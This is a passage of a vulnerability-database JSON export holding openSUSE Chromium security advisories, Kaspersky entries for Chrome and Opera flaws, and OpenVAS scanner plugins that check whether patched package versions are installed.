"CVE-2019-5770", "CVE-2019-5778", "CVE-2019-5775", "CVE-2019-5773", "CVE-2019-5780", "CVE-2019-5784", "CVE-2019-5765", "CVE-2019-5781", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5774"], "description": "This update for Chromium to version 72.0.3626.96 fixes the following\n issues:\n\n Security issues fixed (bsc#1123641 and bsc#1124936):\n\n - CVE-2019-5784: Inappropriate implementation in V8\n - CVE-2019-5754: Inappropriate implementation in QUIC Networking.\n - CVE-2019-5782: Inappropriate implementation in V8.\n - CVE-2019-5755: Inappropriate implementation in V8.\n - CVE-2019-5756: Use after free in PDFium.\n - CVE-2019-5757: Type Confusion in SVG.\n - CVE-2019-5758: Use after free in Blink.\n - CVE-2019-5759: Use after free in HTML select elements.\n - CVE-2019-5760: Use after free in WebRTC.\n - CVE-2019-5761: Use after free in SwiftShader.\n - CVE-2019-5762: Use after free in PDFium.\n - CVE-2019-5763: Insufficient validation of untrusted input in V8.\n - CVE-2019-5764: Use after free in WebRTC.\n - CVE-2019-5765: Insufficient policy enforcement in the browser.\n - CVE-2019-5766: Insufficient policy enforcement in Canvas.\n - CVE-2019-5767: Incorrect security UI in WebAPKs.\n - CVE-2019-5768: Insufficient policy enforcement in DevTools.\n - CVE-2019-5769: Insufficient validation of untrusted input in Blink.\n - CVE-2019-5770: Heap buffer overflow in WebGL.\n - CVE-2019-5771: Heap buffer overflow in SwiftShader.\n - CVE-2019-5772: Use after free in PDFium.\n - CVE-2019-5773: Insufficient data validation in IndexedDB.\n - CVE-2019-5774: Insufficient validation of untrusted input in\n SafeBrowsing.\n - CVE-2019-5775: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5776: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5777: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5778: Insufficient policy enforcement in Extensions.\n - CVE-2019-5779: Insufficient policy enforcement in ServiceWorker.\n - CVE-2019-5780: Insufficient policy enforcement.\n - CVE-2019-5781: Insufficient policy enforcement in Omnibox.\n\n For a full list of changes refer to\n <a rel=\"nofollow\" href=\"https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des\">https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des</a>\n ktop.html\n\n This update was imported from the openSUSE:Leap:15.0:Update update project.\n\n", "edition": 1, "modified": "2019-02-19T15:10:12", "published": "2019-02-19T15:10:12", "id": "OPENSUSE-SU-2019:0216-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00047.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-19T01:01:38", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5766", "CVE-2019-5769", "CVE-2019-5758", "CVE-2019-5761", "CVE-2019-5767", "CVE-2019-5777", "CVE-2019-5772", "CVE-2019-5763", "CVE-2019-5771", "CVE-2019-5776", "CVE-2019-5764", "CVE-2019-5755", "CVE-2019-5762", "CVE-2019-5757", "CVE-2019-5768", "CVE-2019-5754", "CVE-2019-5782", "CVE-2019-5779", "CVE-2019-5756", "CVE-2019-5770", "CVE-2019-5778", "CVE-2019-5775", "CVE-2019-5773", "CVE-2019-5780", "CVE-2019-5784", "CVE-2019-5765", "CVE-2019-5781", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5774"], "description": "This update for Chromium to version 72.0.3626.96 fixes the following\n issues:\n\n Security issues fixed (bsc#1123641 and bsc#1124936):\n\n - CVE-2019-5784: Inappropriate implementation in V8\n - CVE-2019-5754: Inappropriate implementation in QUIC Networking.\n - CVE-2019-5782: Inappropriate implementation in V8.\n - CVE-2019-5755: Inappropriate implementation in V8.\n - CVE-2019-5756: Use after free in PDFium.\n - CVE-2019-5757: Type Confusion in SVG.\n - CVE-2019-5758: Use after free in Blink.\n - CVE-2019-5759: Use after free in HTML select elements.\n - CVE-2019-5760: Use after free in WebRTC.\n - CVE-2019-5761: Use after free in SwiftShader.\n - CVE-2019-5762: Use after free in PDFium.\n - CVE-2019-5763: Insufficient validation of untrusted input in V8.\n - CVE-2019-5764: Use after free in WebRTC.\n - CVE-2019-5765: Insufficient policy enforcement in the browser.\n - CVE-2019-5766: Insufficient policy enforcement in Canvas.\n - CVE-2019-5767: Incorrect security UI in WebAPKs.\n - CVE-2019-5768: Insufficient policy enforcement in DevTools.\n - CVE-2019-5769: Insufficient validation of untrusted input in Blink.\n - CVE-2019-5770: Heap buffer overflow in WebGL.\n - CVE-2019-5771: Heap buffer overflow in SwiftShader.\n - CVE-2019-5772: Use after free in PDFium.\n - CVE-2019-5773: Insufficient data validation in IndexedDB.\n - CVE-2019-5774: Insufficient validation of untrusted input in\n SafeBrowsing.\n - CVE-2019-5775: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5776: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5777: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5778: Insufficient policy enforcement in Extensions.\n - CVE-2019-5779: Insufficient policy enforcement in ServiceWorker.\n - CVE-2019-5780: Insufficient policy enforcement.\n - CVE-2019-5781: Insufficient policy enforcement in Omnibox.\n\n For a full list of changes refer to\n <a rel=\"nofollow\" href=\"https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des\">https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des</a>\n ktop.html\n\n", "edition": 1, "modified": "2019-02-18T21:26:11", "published": "2019-02-18T21:26:11", "id": "OPENSUSE-SU-2019:0204-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00043.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-19T01:01:39", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5766", "CVE-2019-5769", "CVE-2019-5758", "CVE-2019-5761", "CVE-2019-5767", "CVE-2019-5777", "CVE-2019-5772", "CVE-2019-5763", "CVE-2019-5771", "CVE-2019-5776", "CVE-2019-5764", "CVE-2019-5755", "CVE-2019-5762", "CVE-2019-5757", "CVE-2019-5768", "CVE-2019-5754", "CVE-2019-5782", "CVE-2019-5779", "CVE-2019-5756", "CVE-2019-5770", "CVE-2019-5778", "CVE-2019-5775", "CVE-2019-5773", "CVE-2019-5780", "CVE-2019-5784", "CVE-2019-5765", "CVE-2019-5781", "CVE-2019-5759", "CVE-2019-5760", "CVE-2019-5774"], "description": "This update for Chromium to version 72.0.3626.96 fixes the following\n issues:\n\n Security issues fixed (bsc#1123641 and bsc#1124936):\n\n - CVE-2019-5784: Inappropriate implementation in V8\n - CVE-2019-5754: Inappropriate implementation in QUIC Networking.\n - CVE-2019-5782: Inappropriate implementation in V8.\n - CVE-2019-5755: Inappropriate implementation in V8.\n - CVE-2019-5756: Use after free in PDFium.\n - CVE-2019-5757: Type Confusion in SVG.\n - CVE-2019-5758: Use after free in Blink.\n - CVE-2019-5759: Use after free in HTML select elements.\n - CVE-2019-5760: Use after free in WebRTC.\n - CVE-2019-5761: Use after free in SwiftShader.\n - CVE-2019-5762: Use after free in PDFium.\n - CVE-2019-5763: Insufficient validation of untrusted input in V8.\n - CVE-2019-5764: Use after free in WebRTC.\n - CVE-2019-5765: Insufficient policy enforcement in the browser.\n - CVE-2019-5766: Insufficient policy enforcement in Canvas.\n - CVE-2019-5767: Incorrect security UI in WebAPKs.\n - CVE-2019-5768: Insufficient policy enforcement in DevTools.\n - CVE-2019-5769: Insufficient validation of untrusted input in Blink.\n - CVE-2019-5770: Heap buffer overflow in WebGL.\n - CVE-2019-5771: Heap buffer overflow in SwiftShader.\n - CVE-2019-5772: Use after free in PDFium.\n - CVE-2019-5773: Insufficient data validation in IndexedDB.\n - CVE-2019-5774: Insufficient validation of untrusted input in\n SafeBrowsing.\n - CVE-2019-5775: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5776: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5777: Insufficient policy enforcement in Omnibox.\n - CVE-2019-5778: Insufficient policy enforcement in Extensions.\n - CVE-2019-5779: Insufficient policy enforcement in ServiceWorker.\n - CVE-2019-5780: Insufficient policy enforcement.\n - CVE-2019-5781: Insufficient policy enforcement in Omnibox.\n\n For a full list of changes refer to\n <a rel=\"nofollow\" href=\"https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des\">https://chromereleases.googleblog.com/2019/02/stable-channel-update-for-des</a>\n ktop.html\n\n", "edition": 1, "modified": "2019-02-18T21:27:05", "published": "2019-02-18T21:27:05", "id": "OPENSUSE-SU-2019:0205-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00045.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-18T18:21:07", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to 79.0.3945.79 (boo#1158982)\n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n - CVE-2019-13726: Fixed a heap buffer overflow in password manager\n - CVE-2019-13727: Fixed an insufficient policy enforcement in WebSockets\n - CVE-2019-13728: Fixed an out of bounds write in V8\n - CVE-2019-13729: Fixed a use after free in WebSockets\n - CVE-2019-13730: Fixed a type Confusion in V8\n - CVE-2019-13732: Fixed a use after free in WebAudio\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n - CVE-2019-13735: Fixed an out of bounds write in V8\n - CVE-2019-13764: Fixed a type Confusion in V8\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n - CVE-2019-13737: Fixed an insufficient policy enforcement in autocomplete\n - CVE-2019-13738: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13739: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13740: Fixed an incorrect security UI in sharing\n - CVE-2019-13741: Fixed an insufficient validation of untrusted input in\n Blink\n - CVE-2019-13742: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13743: Fixed an incorrect security UI in external protocol\n handling\n - CVE-2019-13744: Fixed an insufficient policy enforcement in cookies\n - CVE-2019-13745: Fixed an insufficient policy enforcement in audio\n - CVE-2019-13746: Fixed an insufficient policy enforcement in Omnibox\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n - CVE-2019-13748: Fixed an insufficient policy enforcement in developer\n tools\n - CVE-2019-13749: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13750: Fixed an insufficient data validation in SQLite\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n - CVE-2019-13754: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13755: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13756: Fixed an incorrect security UI in printing\n - CVE-2019-13757: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13758: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13759: Fixed an incorrect security UI in interstitials\n - CVE-2019-13761: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13762: Fixed an insufficient policy enforcement in downloads\n - CVE-2019-13763: Fixed an insufficient policy enforcement in payments\n\n This update was imported from the openSUSE:Leap:15.1:Update update project.\n\n", "edition": 1, "modified": "2019-12-18T15:13:44", "published": "2019-12-18T15:13:44", "id": "OPENSUSE-SU-2019:2694-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00036.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-17T02:20:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to 79.0.3945.79 (boo#1158982)\n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n - CVE-2019-13726: Fixed a heap buffer overflow in password manager\n - CVE-2019-13727: Fixed an insufficient policy enforcement in WebSockets\n - CVE-2019-13728: Fixed an out of bounds write in V8\n - CVE-2019-13729: Fixed a use after free in WebSockets\n - CVE-2019-13730: Fixed a type Confusion in V8\n - CVE-2019-13732: Fixed a use after free in WebAudio\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n - CVE-2019-13735: Fixed an out of bounds write in V8\n - CVE-2019-13764: Fixed a type Confusion in V8\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n - CVE-2019-13737: Fixed an insufficient policy enforcement in autocomplete\n - CVE-2019-13738: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13739: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13740: Fixed an incorrect security UI in sharing\n - CVE-2019-13741: Fixed an insufficient validation of untrusted input in\n Blink\n - CVE-2019-13742: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13743: Fixed an incorrect security UI in external protocol\n handling\n - CVE-2019-13744: Fixed an insufficient policy enforcement in cookies\n - CVE-2019-13745: Fixed an insufficient policy enforcement in audio\n - CVE-2019-13746: Fixed an insufficient policy enforcement in Omnibox\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n - CVE-2019-13748: Fixed an insufficient policy enforcement in developer\n tools\n - CVE-2019-13749: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13750: Fixed an insufficient data validation in SQLite\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n - CVE-2019-13754: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13755: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13756: Fixed an incorrect security UI in printing\n - CVE-2019-13757: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13758: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13759: Fixed an incorrect security UI in interstitials\n - CVE-2019-13761: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13762: Fixed an insufficient policy enforcement in downloads\n - CVE-2019-13763: Fixed an insufficient policy enforcement in payments\n\n", "edition": 1, "modified": "2019-12-17T00:12:34", "published": "2019-12-17T00:12:34", "id": "OPENSUSE-SU-2019:2692-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00034.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2020-09-02T11:42:48", "bulletinFamily": "info", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "### *Detect date*:\n02/24/2020\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Google Chrome. Malicious users can exploit these vulnerabilities to cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nGoogle Chrome earlier than 80.0.3987.122\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2020-6418](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6418>)0.0Unknown \n[CVE-2020-6407](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6407>)0.0Unknown", "edition": 1, "modified": "2020-06-18T00:00:00", "published": "2020-02-24T00:00:00", "id": "KLA11678", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11678", "title": "\r KLA11678Multiple vulnerabilities in Google Chrome ", "type": "kaspersky", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-02T12:04:53", "bulletinFamily": "info", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "### *Detect date*:\n03/03/2020\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Opera. Malicious users can exploit these vulnerabilities to cause denial of service.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nOpera earlier than 67.0.3575.53\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog fo Opera 67](<https://blogs.opera.com/desktop/changelog-for-67/#b3575.53>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html>) \n\n\n### *Impacts*:\nDoS \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2020-6418](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6418>)0.0Unknown \n[CVE-2020-6407](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6407>)0.0Unknown", "edition": 1, "modified": "2020-06-18T00:00:00", "published": "2020-03-03T00:00:00", "id": "KLA11722", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11722", "title": "\r KLA11722Multiple vulnerabilities in Opera ", "type": "kaspersky", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-02T11:45:41", "bulletinFamily": "info", "cvelist": ["CVE-2017-5087", "CVE-2017-5080", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5074", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "### *Detect date*:\n06/05/2017\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple serious vulnerabilities have been found in Google Chrome versions earlier than 59.0.3071.86. Malicious users can exploit these vulnerabilities possibly to cause a denial of service, execute arbitrary code, bypass security restrictions and obtain sensitive information.\n\n### *Affected products*:\nGoogle Chrome versions earlier than 59.0.3071.86 (all branches)\n\n### *Solution*:\nUpdate to the latest version. File with name old_chrome can be still detected after update. It caused by Google Chrome update policy which does not remove old versions when installing updates. Try to contact vendor for further delete instructions or ignore such kind of alerts at your own risk. \n[Download Google Chrome](<https://www.google.com/chrome/browser/desktop/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2017-5087](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5087>)6.8High \n[CVE-2017-5088](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5088>)6.8High \n[CVE-2017-5089](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5089>)4.3Warning \n[CVE-2017-5076](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5076>)4.3Warning \n[CVE-2017-5077](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5077>)6.8High \n[CVE-2017-5078](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5078>)6.8High \n[CVE-2017-5079](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5079>)4.3Warning \n[CVE-2017-5080](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5080>)6.8High \n[CVE-2017-5081](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5081>)2.1Warning \n[CVE-2017-5083](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5083>)4.3Warning \n[CVE-2017-5086](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5086>)4.3Warning \n[CVE-2017-5070](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5070>)6.8High \n[CVE-2017-5071](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5071>)6.8High \n[CVE-2017-5073](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5073>)6.8High \n[CVE-2017-5074](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5074>)5.4High \n[CVE-2017-5075](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5075>)4.3Warning\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).", "edition": 47, "modified": "2020-06-18T00:00:00", "published": "2017-06-05T00:00:00", "id": "KLA11035", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11035", "title": "\r KLA11035Multiple vulnerabilities in Google Chrome ", "type": "kaspersky", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-03-04T16:37:26", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "The remote host is missing an update for the ", "modified": "2020-03-03T00:00:00", "published": "2020-02-28T00:00:00", "id": "OPENVAS:1361412562310853048", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310853048", "type": "openvas", "title": "openSUSE: Security Advisory for chromium (openSUSE-SU-2020:0259-1)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.853048\");\n script_version(\"2020-03-03T07:50:03+0000\");\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-03-03 07:50:03 +0000 (Tue, 03 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-02-28 04:01:58 +0000 (Fri, 28 Feb 2020)\");\n script_name(\"openSUSE: Security Advisory for chromium (openSUSE-SU-2020:0259-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.1\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2020:0259-1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00033.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the openSUSE-SU-2020:0259-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for chromium fixes the following issues:\n\n Chromium was updated to version 80.0.3987.122 (bsc#1164828).\n\n Security issues fixed:\n\n - CVE-2020-6418: Fixed a type confusion in V8 (bsc#1164828).\n\n - CVE-2020-6407: Fixed an OOB memory access in streams (bsc#1164828).\n\n - Fixed an integer overflow in ICU (bsc#1164828).\n\n Non-security issues fixed:\n\n - Dropped the sandbox binary as it should not be needed anymore\n (bsc#1163588).\n\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2020-259=1\");\n\n script_tag(name:\"affected\", value:\"'chromium' package(s) on openSUSE Leap 15.1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver\", rpm:\"chromedriver~80.0.3987.122~lp151.2.66.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver-debuginfo\", rpm:\"chromedriver-debuginfo~80.0.3987.122~lp151.2.66.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium\", rpm:\"chromium~80.0.3987.122~lp151.2.66.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debuginfo\", rpm:\"chromium-debuginfo~80.0.3987.122~lp151.2.66.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debugsource\", rpm:\"chromium-debugsource~80.0.3987.122~lp151.2.66.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-04T16:40:33", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2020-03-03T00:00:00", "published": "2020-02-25T00:00:00", "id": "OPENVAS:1361412562310816586", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310816586", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-MAC OS X", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.816586\");\n script_version(\"2020-03-03T07:50:03+0000\");\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-03-03 07:50:03 +0000 (Tue, 03 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-02-25 17:55:24 +0530 (Tue, 25 Feb 2020)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-MAC OS X\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple 